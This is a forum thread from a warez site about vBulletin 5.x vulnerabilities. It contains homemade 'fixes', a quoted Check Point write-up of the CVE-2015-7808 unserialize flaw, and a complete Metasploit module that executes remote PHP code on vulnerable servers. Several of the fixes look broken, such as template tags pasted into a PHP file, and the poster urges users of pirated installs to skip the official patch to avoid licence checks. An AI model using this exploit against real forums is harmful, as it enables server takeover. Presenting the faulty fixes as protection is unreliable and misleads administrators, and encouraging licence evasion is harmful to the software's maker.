Jump to content
vBWarez - Rest In Peace

Fix for vb5.1.x Security Exploits


Recommended Posts

vB 5x EXPLOIT and Module fix, v2.0.

There exists in vBulletin a major exploit which if known and applied allows any unregistered user to access information about other users.
While searching for a solution to the ever annoying issue of how to set Permissions on a Module so that unregistered users don't see the content when the programmer of the module didn't include an Edit Permissions option, I discovered a horrible exploit. I did some testing and find it exists as far back as 5.0.1 right up to 5.1.9b1.

Fortunately the exploit is conditional.
Upon what, I am not telling.
What I can say, is that the more forums you host, the greater the susceptibility of the exploit.
Using a brute force generator on a very secure vB5.1.6 it took all of 3 minutes to obtain 10 user accounts.
This exploit allows one to enter into an account, without registration, without login and regardless of Permissions or passwords.
One is able to gather all information available within a users Profile, including personal information, photos, media, subscriptions, et c.

This is a blatant fault of bad programming.
Computers 101, Error Trap all your routines.
The coders of vB have left out a lot of error trapping and as a result, exploits.

Luckily the resolve is an easy one, though tedious.
Better coders may find ways to improve upon this fix.

Bare in mind that this all hinges on the fact ones Forum is not already open to the public and that it requires registration.

Go into the AdminCP,
Styles & Templates,
Located your Style and edit the Template,
Expand Profile Templates.

You will need to modify 7 templates-
profilefields, profile_about, profile_activity, profile_custom_edit, profile_following, profile_media and profile_textphotodetail

The procedure is the same for all.

Firstly, go to your AdminCP, UserGroups, User Groups Manager...
look for the Registered Users entry, on the right, find the ID #
This is almost always 2, but if not, adjust the code below.

Secondly,
At the top of each template as the very first line, add

[code]
<vb:if condition="is_member_of($user, 2)">
[/code]

Then at the bottom of each template, add

[code]
</vb:if>
[/code]

Save, repeat.

What this does is tells the forum code, if you are NOT registered and logged into the forum, DO NOT display this portion of code.
This same process may be applied to Module Templates such as-
widget_announcement, widget_birthday, widget_onlineusers
All of which do not have Permission settings and each of which no one else needs to see unless they are a member.

This code could be applied to a lot of templates.
But not all. Do not apply it to ones that need to be accessible to unregistered person who want to register, such as the Content template or the CAPCHA.

IMO All Styles need to be overhauled and recoded to include something similar to the patch.
I'm not sure how these changes will affect upgrading.




Notes: The exploits by Coldzer0 and _cutz are NOT the same. The one that _cutz reported is a different approach to the one I reported, having the same results.

The exploit I reported (months before _cuts) can be patched as explained above.

The one by Coldzer0 can easily be stopped by use of an .htaccess file.
Create a text file called .htaccess
In it enter this-
[CODE]order allow,deny
allow from 127.0.0.1
deny from all
Satisfy Any
[/CODE]
Save the file.
Place it into your htdocs\core\admincp folder.

Next, go into htdocs\core\admincp and edit index.php
Look for the phpinfo entry and replace it with this-
[CODE]// ################################ SHOW PHP INFO #############################

if ($_REQUEST['do'] == 'phpinfo')
{
{
if (!vB::getUserContext()->hasAdminPermission('canuseallmaintenance'))
{
print_cp_no_permission();
}

phpinfo();
exit;
}
}

[/CODE]

What this does is to instruct the server to deny access to these files by anyone other than on the localhost and do not allow anyone to run this script unless they are the administrator and logged onto the admin account.

This will fix the exploits without having to install the security patch or risk the patch reinserting the RSA keys to Nulled forums.
Link to post
Share on other sites
TROLL
It is an exploit patch, of course it isn't "official".
I dare you to find an OFFICIAL release from vBulletin that works this well and doesn't require installing an incomplete security patch which is screwing up forums.
I can't help notice this troll sounds very much like Devil of ******, formerly Zombie here.
I posted these same security patches on another vB forum, where I was a moderator, and a very rude troll there delete it all and behaved in a very inappropriate manor. As a result, I left that forum. Now it seems the troll, banned here before, has registered a new account for the purpose of trolling.

The first exploit is one I patched which even vB has yet to address. First released right here on VBWarez :)
The second exploit I patched a month before vB would admit to it.
People want patches to fix the security exploits, and not more upgrades that only make things worse, and are not available to the public.
So, troll, go home, crawl back under your rock, and know that it is your own ignorance that has cost you my skills and brought me back here. Edited by Snail
Link to post
Share on other sites
  • Moderators
Guys calm down.

The fixes provided by snail can't do any damage to your forum (if you read it carefully). I can't say if it is necessary to do this things (i don't work with vB5), but it shouldn't destroy something.

Any content not downloaded from the official site is untrustet - so nearly every upload here COULD be modified. You have to decide for yourself if you trust the uploader or not.

@fortune
So most things here could be modified - its useless to say in every post that something is unofficial, as everything here is unofficial. It doesn't matter if someone is well known for his fixes or not, if someone find a fix he can post it, if you trust this or not you have to decide for yourself.
So stop saying that in every thread it's pointless and will be deleted - also it's spam.

greetz Edited by Reaper1345
Link to post
Share on other sites
Here is another exploit fix.

This affects vB5 5.1.2-5.1.9
[QUOTE]vBulletin is a commercial forum and blog platform developed by vBulletin Solutions, Inc. It was created over 10 years ago and is written in PHP. It is the world’s most popular forum platform, powering ~78% out of the forums in the top 100K web-sites. Currently there are estimated to be over 40,000 live sites using vBulletin.

A month ago, Check Point privately reported a critical unauthenticated RCE vulnerability to vBulletin support. This vulnerability was independently discovered by Netanel Rubin, and assigned CVE-2015-7808.

When exploited, the vulnerability allows an attacker to execute PHP code on any vBulletin server without requiring user authentication. It does not require any themes or modules other than the ones installed by default.

As widely reported, the main vBulletin.org forum was compromised earlier this week and an exploit for a vBulletin 0-day was up for sale in online markets.

A patch later released by vBulletin fixes the vulnerability reported, but fails to neither credit any reporting nor mention the appropriate CVE number.
This is the 3rd time in the past month that vBulletin.org has laid claim to a fix which they did not resolve. Furthermore, those who did discover the exploit and others who fixed those exploits were never credited. The fixes were released for free on many vB forums but vBulletin.org wants customers to purchase upgrades to vB 5.1.9 and pay for the security patch.

f you administer any vBulletin web site, we urge you to apply the patch as soon as possible, as exploitation risk is imminent.

It is important to note the analyzed public exploit shows a different chain than the one we used for our PoC; therefore we cannot link the attacks directly to our report.

vBulletin handles a lot of the heavy lifting through an internal API. Unfortunately parts of that API are also used as a gate for Ajax requests, and as a result this API is also accessible through the regular CGI.

This API does not validate the origin of the request, allowing us to access any part of its interface. That interface, in fact, allows us to call any public method in any class that inherits from ‘vB_Api’ and located in ‘/core/vb/api/’. This folder contains dozens of classes and hundreds of methods for us to use as an attack surface, and as noted, some of them considered internal methods. Moreover, we can call these methods with any arguments we’d like, as the API doesn’t have any sort of argument white listing.

Our findings begin with the vulnerable method ‘vB_Api_Hook::decodeArguments()’, which, again, requires no authentication, and at its first line of code contains an ‘unserialize’ call. This can be seen in the following code:

pic 1

Because we control the ‘$arguments’ parameter we can also control what goes into the ‘unserialize()’ call. That means we can actually craft and inject any object we’d like into the ‘$args’ variable.

PHP objects share several ‘magic methods’ that get called automatically whenever specific events occur. Such a trigger event, for example, is the destruction of an object (the ‘__destruct()’ method gets called), or an attempt to use an object as a string, triggering its ‘__toString()’ method.

That means we can now trigger a call to any ‘__destruct()’ method for any defined class. We only set our object to be of that type, and when the ‘decodeArguments()’ function returns, that object will get destructed.

Examine the following interesting destructor for vB_vURL:

pic 2

This method takes the ‘tmpfile’ property and treats it as a file name that, if exists, gets deleted.

This can obviously be exploited to remove any file accessible to the web server, most likely rendering the server inoperable, or even causing permanent data loss. However, we are after higher goals. We can leverage this code to gain more access to protected methods in objects. If we insert another object into ‘tmpfile’, an attempt to convert it into a string will happen once the ‘file_exists()’ call is reached. In effect, this now added all ‘__toString()’ methods to our widening attacking surface.

Take a look at vB_View’s ‘__toString()’:

pic 3

This ‘__toString()’ make a call to vB_View’s ‘render()’ method right off the bat. Unfortunately, this base ‘render()’ method doesn’t do anything of interest for our exploitation purposes. Consider, however, the ‘vB_View_AJAXHTML’ class, inheriting from vB_View, and implementing a very different ‘render()’ method:

pic 4

As seen above, this ‘render()’ calls another ‘render()’, for the object under the ‘content’ property. Since we can control that one, too, we can now target our ‘render()’ call at any class (not only vB_View objects).

This leads us to the ‘vB5_Template’ class, which implements its own ‘render()’ method:

pic 5

Basically, this method loads a template from the cache or DB using the template name specified in the ‘template’ property. Afterwards, it evals or includes it based on the template type.

Because the template name is only used inside a (properly escaped) SQL query, we can’t use it for a LFI attempt. Still, this allows us to load any template we want from the DB.

Let’s look at the ‘widget_php’ template code:

pic 6

The ‘code’ value in the ‘$widgetConfig’ dictionary is the argument for a function which (ultimately) evals its content. If we could control this variable, we would be able to execute any PHP code we’d like on the server.

Let’s see how we do exactly that.

The ‘render()’ method at the ‘vB5_Template’ class call the ‘extract()’ function with the ‘$this->registered’ as an argument. As some readers may observe, ’extract()’ receives a key-value dictionary as an argument and adds the key-value pairs as variables and respective values to the current scope. Because we control ‘$this->registered’, we can add any variable and value to the current scope.

Finally, we add the ‘$widgetConfig’ variable to the ‘registered’ property, set its value as a dictionary containing ‘code’ as a key and our exploit PHP code as its value.
[/QUOTE]

[QUOTE]One thing I don’t understand is that this refers to vb 5x code, however vbulletin.org is running vbulletin 3.6 .. This would explain the vbulletin.com support forums hack, but not the vbulletin.org community forum hack. There must be a similar hack out there that targets vb 3x and/or 4x?[/QUOTE]

[QUOTE]Correct. This exploit, while it differs from version to version of vB, exploits the way vB uses PHP and therefor all version of vB can be exploited using a variation of the exploit code.[/QUOTE]

By carefully examining the below code we can see how malicious hackers are gaining access to the vB database and altering or even crippling entire servers.

[CODE]##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin 5.1.X Unserialize Code Execution',
'Description' => %q{
This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9 as discovered by Snailsoft.
},
'Platform' => 'php',
'License' => MSF_LICENSE,
'Author' => [
'Netanel Rubin', # reported by
'_Cutz', # original exploit
'Snail', # metasploit module
],
'Payload' =>
{
'BadChars' => "\x22",
},
'References' =>
[
['CVE', '2015-7808'],
['EDB', '38629'],
['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'],
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']
],
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Targeting', { 'auto' => true } ],
['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
],
'DisclosureDate' => 'Aug 15 2015',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
], self.class)
end

def check
begin
res = send_request_cgi({ 'uri' => target_uri.path })
if (res && res.body.include?('vBulletin Solutions, Inc.'))
if res.body.include?("Version 5.0")
@my_target = targets[1] if target['auto']
return Exploit::CheckCode::Appears
elsif res.body.include?("Version 5.1")
@my_target = targets[2] if target['auto']
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end
end

def exploit
print_status("#{peer} - Trying to inferprint the instance...")

@my_target = target
check_code = check

unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance")
end

if @my_target.nil? || @my_target['auto']
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
end

print_status("#{peer} - Exploiting #{@my_target.name}...")

chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:'
chain << @my_target["chain"].length.to_s
chain << ':"'
chain << @my_target["chain"]
chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}"

chain = Rex::Text.uri_encode(chain)
chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'),
'vars_get' => {
'arguments' => chain
},
'encode_params' => false,
})
end
end
[/CODE]

So, what can be done about this?
Well, if you are a paying member with a legal vBulletin, you can get a copy of the latest security patches and install them.
This comes at the cost of losing many of your products and hooks as well as having to upgrade your servers, MySQLi, PHP and possible hosting services.

If you are like the roughly 90% of all vB users and running a Nulled version, then you do NOT want to use the security patch even if you could get it.
The reason for this is that the patch reinserts the RSA security keys. This means that once done, vBulletin will be notified you are using an illegal copy and without the keys your forum will be shut down.

Instead. I recommend the free method that won't cause any damage. This works on licensed and nulled versions.

Firstly, follow the procedures as described above for the first 2 exploit patch methods.
Secondly, using a similar process we can patch the 3rd exploit.

We will be working inside the htdocs\core\vb\api folder this time.
Locate api.php and open it inside an editor.
Note that putting a .htaccess file into this folder will not help as these are files called internally from other code.

Locate at the very beginning
[CODE]<?php if (!defined('VB_ENTRY')) die('Access denied.');
/*========================================================================*\
|| ###################################################################### ||
|| # vBulletin 5.1.9
|| # ------------------------------------------------------------------ # ||
|| # Copyright 2000-2015 vBulletin Solutions Inc. All Rights Reserved. # ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ----------------- VBULLETIN IS NOT FREE SOFTWARE ----------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| ###################################################################### ||
\*========================================================================*/
[/CODE]
and add this line right after it.
[CODE]<vb:if condition="is_member_of($user, 6)">
[/CODE]

At the end of the code, right after the last }
add this
[CODE]</vb:if>
[/CODE]

What this will do is create the missing test that allows the exploit to occur and tell the API that unless the person calling it has logged in and active administrative access, do not even make the code visible.

Next, go to the Styles Manager and edit the Template.
Under MODULES, locate and edit widget_php
As the very first line add
[CODE]<vb:if condition="is_member_of($user, 2)">
[/CODE]
As the very last line add
[CODE]</vb:if>[/CODE]
Once again, this tells the code, if the PHP functions are not being accessed by a registered member, deny access to the code.

Other things that can be done to protect your servers if not already being used.
1. Always use a name and password on your SQL database! The default 'root' with no password makes hacking any server a simple thing. Don't use the default.
2. Disable the API all together. Unless you are developing API's you don't need that function.
3. Unless you do a lot of remote management, remove your AdminCP folder. Move it, rename it... Do NOT delete it. If you want to use any of the admin functions restore the folder.
4. Configure your SQL and PHP databases to only accept connections from the localhost/127.0.0.1 This will keep 99% of all hackers out of your database.

Don't forget, this is part 3 of this exploit patch. This is specific to vB 5.1.x
With a little adaptation, this will work for any version of vB, and all versions are susceptible.

Peace!
Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...